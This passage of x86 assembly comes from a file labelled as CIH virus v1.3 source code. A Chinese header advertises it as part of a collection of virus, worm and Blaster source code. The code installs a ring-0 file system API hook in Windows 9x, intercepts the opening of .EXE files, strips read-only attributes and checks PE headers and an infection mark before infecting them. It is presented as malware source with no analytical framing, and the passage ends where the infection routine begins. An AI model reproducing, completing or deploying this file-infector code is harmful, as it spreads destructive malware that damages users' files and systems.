cih v1.3源程序（1）.txt

病毒源码 包括世上第一个病毒源码、蠕虫源码、冲击波源码

mov dr0, eax ; Save OldFileSystemApiHook Address 

pop eax ; EAX = FileSystemApiHook Address 

; Save Old IFSMgr_InstallFileSystemApiHook Entry Point 
mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi] 
mov edx, [ecx] 
mov OldInstallFileSystemApiHook-@3[eax], edx 

; Modify IFSMgr_InstallFileSystemApiHook Entry Point 
lea eax, InstallFileSystemApiHook-@3[eax] 
mov [ecx], eax 

cli 

jmp ExitRing0Init 

; ********************************************************* 
; * Code Size of Merge Virus Code Section * 
; ********************************************************* 

CodeSizeOfMergeVirusCodeSection = offset $ 

; ********************************************************* 
; * IFSMgr_InstallFileSystemApiHook * 
; ********************************************************* 

InstallFileSystemApiHook: 
push ebx 

call @4 ; 
@4: ; 
pop ebx ; mov ebx, offset FileSystemApiHook 
add ebx, FileSystemApiHook-@4 ; 

push ebx 
int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook 
IFSMgr_RemoveFileSystemApiHook = $ 
dd 00400068h ; Use EAX, ECX, EDX, and flags 
pop eax 

; Call Original IFSMgr_InstallFileSystemApiHook 
; to Link Client FileSystemApiHook 
push dword ptr [esp+8] 
call OldInstallFileSystemApiHook-@3[ebx] 
pop ecx 

push eax 

; Call Original IFSMgr_InstallFileSystemApiHook 
; to Link My FileSystemApiHook 
push ebx 
call OldInstallFileSystemApiHook-@3[ebx] 
pop ecx 

mov dr0, eax ; Adjust OldFileSystemApiHook Address 

pop eax 

pop ebx 

ret 

; ********************************************************* 
; * Static Data * 
; ********************************************************* 

OldInstallFileSystemApiHook dd ? 

; ********************************************************* 
; * IFSMgr_FileSystemHook * 
; ********************************************************* 

; ************************************* 
; * IFSMgr_FileSystemHook Entry Point * 
; ************************************* 

FileSystemApiHook: 
@3 = FileSystemApiHook 

pushad 

call @5 ; 
@5: ; 
pop esi ; mov esi, offset VirusGameDataStartAddress 
add esi, VirusGameDataStartAddress-@5 

; ************************************* 
; * Is OnBusy !? * 
; ************************************* 

test byte ptr (OnBusy-@6)[esi], 01h ; if ( OnBusy ) 
jnz pIFSFunc ; goto pIFSFunc 

; ************************************* 
; * Is OpenFile !? * 
; ************************************* 

; if ( NotOpenFile ) 
; goto prevhook 
lea ebx, [esp+20h+04h+04h] 
cmp dword ptr [ebx], 00000024h 
jne prevhook 

; ************************************* 
; * Enable OnBusy * 
; ************************************* 

inc byte ptr (OnBusy-@6)[esi] ; Enable OnBusy 

; ************************************* 
; * Get FilePath's DriveNumber, * 
; * then Set the DriveName to * 
; * FileNameBuffer. * 
; ************************************* 
; * Ex. If DriveNumber is 03h, * 
; * DriveName is 'C:'. * 
; ************************************* 

; mov esi, offset FileNameBuffer 
add esi, FileNameBuffer-@6 

push esi 

mov al, [ebx+04h] 
cmp al, 0ffh 
je CallUniToBCSPath 

add al, 40h 
mov ah, ':' 

mov [esi], eax 

inc esi 
inc esi 

; ************************************* 
; * UniToBCSPath * 
; ************************************* 
; * This Service Converts * 
; * a Canonicalized Unicode Pathname * 
; * to a Normal Pathname in the * 
; * Specified BCS Character Set. * 
; ************************************* 

CallUniToBCSPath: 
push 00000000h 
push FileNameBufferSize 
mov ebx, [ebx+10h] 
mov eax, [ebx+0ch] 
add eax, 04h 
push eax 
push esi 
int 20h ; VXDCall UniToBCSPath 
UniToBCSPath = $ 
dd 00400041h 
add esp, 04h*04h 

; ************************************* 
; * Is FileName '.EXE' !? * 
; ************************************* 

; cmp [esi+eax-04h], '.EXE' 
cmp [esi+eax-04h], 'EXE.' 
pop esi 
jne DisableOnBusy 

IF DEBUG 

; ************************************* 
; * Only for Debug * 
; ************************************* 

; cmp [esi+eax-06h], 'FUCK' 
cmp [esi+eax-06h], 'KCUF' 
jne DisableOnBusy 

ENDIF 

; ************************************* 
; * Is Open Existing File !? * 
; ************************************* 

; if ( NotOpenExistingFile ) 
; goto DisableOnBusy 
cmp word ptr [ebx+18h], 01h 
jne DisableOnBusy 

; ************************************* 
; * Get Attributes of the File * 
; ************************************* 

mov ax, 4300h 
int 20h ; VXDCall IFSMgr_Ring0_FileIO 
IFSMgr_Ring0_FileIO = $ 
dd 00400032h 

jc DisableOnBusy 

push ecx 

; ************************************* 
; * Get IFSMgr_Ring0_FileIO Address * 
; ************************************* 

mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi] 
mov edi, [edi] 

; ************************************* 
; * Is Read-Only File !? * 
; ************************************* 

test cl, 01h 
jz OpenFile 

; ************************************* 
; * Modify Read-Only File to Write * 
; ************************************* 

mov ax, 4301h 
xor ecx, ecx 
call edi ; VXDCall IFSMgr_Ring0_FileIO 

; ************************************* 
; * Open File * 
; ************************************* 

OpenFile: 
xor eax, eax 
mov ah, 0d5h 
xor ecx, ecx 
xor edx, edx 
inc edx 
mov ebx, edx 
inc ebx 
call edi ; VXDCall IFSMgr_Ring0_FileIO 

xchg ebx, eax ; mov ebx, FileHandle 

; ************************************* 
; * Need to Restore * 
; * Attributes of the File !? * 
; ************************************* 

pop ecx 

pushf 

test cl, 01h 
jz IsOpenFileOK 

; ************************************* 
; * Restore Attributes of the File * 
; ************************************* 

mov ax, 4301h 
call edi ; VXDCall IFSMgr_Ring0_FileIO 

; ************************************* 
; * Is Open File OK !? * 
; ************************************* 

IsOpenFileOK: 
popf 

jc DisableOnBusy 

; ************************************* 
; * Open File Already Succeed. ^__^ * 
; ************************************* 

push esi ; Push FileNameBuffer Address to Stack 

pushf ; Now CF = 0, Push Flag to Stack 

add esi, DataBuffer-@7 ; mov esi, offset DataBuffer 

; *************************** 
; * Get OffsetToNewHeader * 
; *************************** 

xor eax, eax 
mov ah, 0d6h 

; For Doing Minimal VirusCode's Length, 
; I Save EAX to EBP. 
mov ebp, eax 

xor ecx, ecx 
mov cl, 04h 
xor edx, edx 
mov dl, 3ch 
call edi ; VXDCall IFSMgr_Ring0_FileIO 

mov edx, [esi] 

; *************************** 
; * Get 'PE\0' Signature * 
; * of ImageFileHeader, and * 
; * Infected Mark. * 
; *************************** 

dec edx 

mov eax, ebp 
call edi ; VXDCall IFSMgr_Ring0_FileIO 

; *************************** 
; * Is PE !? * 
; *************************** 
; * Is the File * 
; * Already Infected !? * 
; *************************** 

; cmp [esi], '\0PE\0' 
cmp dword ptr [esi], 00455000h 
jne CloseFile 

; ************************************* 
; * The File is ^o^ * 
; * PE(Portable Executable) indeed. * 
; ************************************* 
; * The File isn't also Infected. * 
; ************************************* 

; ************************************* 
; * Start to Infect the File * 
; ************************************* 
; * Registers Use Status Now : * 
; * * 
; * EAX = 04h * 
; * EBX = File Handle * 
; * ECX = 04h * 
; * EDX = 'PE\0\0' Signature of * 
; * ImageFileHeader Pointer's * 
; * Former Byte. * 
; * ESI = DataBuffer Address ==> @8 * 
; * EDI = IFSMgr_Ring0_FileIO Address * 
; * EBP = D600h ==> Read Data in File * 
; ************************************* 
; * Stack Dump : * 
; * * 
; * ESP => ------------------------- * 
; * | EFLAG(CF=0) | * 
; * ------------------------- * 
; * | FileNameBufferPointer | * 
; * ------------------------- * 
; * | EDI | * 
; * ------------------------- * 
; * | ESI | * 
; * ------------------------- * 
; * | EBP | * 
; * ------------------------- * 
; * | ESP | * 
; * ------------------------- * 
; * | EBX | * 
; * ------------------------- * 
; * | EDX | * 
; * ------------------------- * 
; * | ECX | * 
; * ------------------------- * 
; * | EAX | * 
; * ------------------------- * 
; * | Return Address | * 
; * ------------------------- * 
; *************************************